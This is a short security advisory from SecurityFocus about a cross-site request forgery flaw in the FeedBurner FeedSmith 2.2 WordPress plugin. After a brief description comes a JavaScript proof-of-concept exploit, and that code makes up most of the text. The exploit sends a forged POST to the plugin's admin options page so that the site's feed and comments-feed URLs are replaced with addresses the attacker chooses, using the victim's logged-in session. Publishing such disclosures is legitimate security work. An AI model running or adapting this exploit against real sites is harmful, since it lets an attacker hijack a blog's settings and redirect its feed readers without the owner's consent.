source: https://www.securityfocus.com/bid/25921/info
FeedBurner FeedSmith is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to use a victim's currently active session to perform actions with the application.
This issue affects FeedBurner FeedSmith 2.2; other versions may also be affected.
// Simple Proof of Concept Exploit for FeedSmith Feedburner CSRF Hijacking
// Tested on version 2.2.
t='http://www.example.com/wordpress/wp-admin/options-general.php?
page=FeedBurner_FeedSmith_Plugin.php';
p='redirect=true&feedburner_url=http://www.example2.com/with/new/feed&
feedburner_comments_url=http://www.example3.com/with/new/feed';
feedburner_csrf = function(t, p) {
req = new XMLHttpRequest();
var url = t;
var params = p;
req.open("POST", url);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.setRequestHeader("Content-length", params.length);
req.setRequestHeader("Connection", "close");
req.send(params);
};
feedburner_csrf(t,p);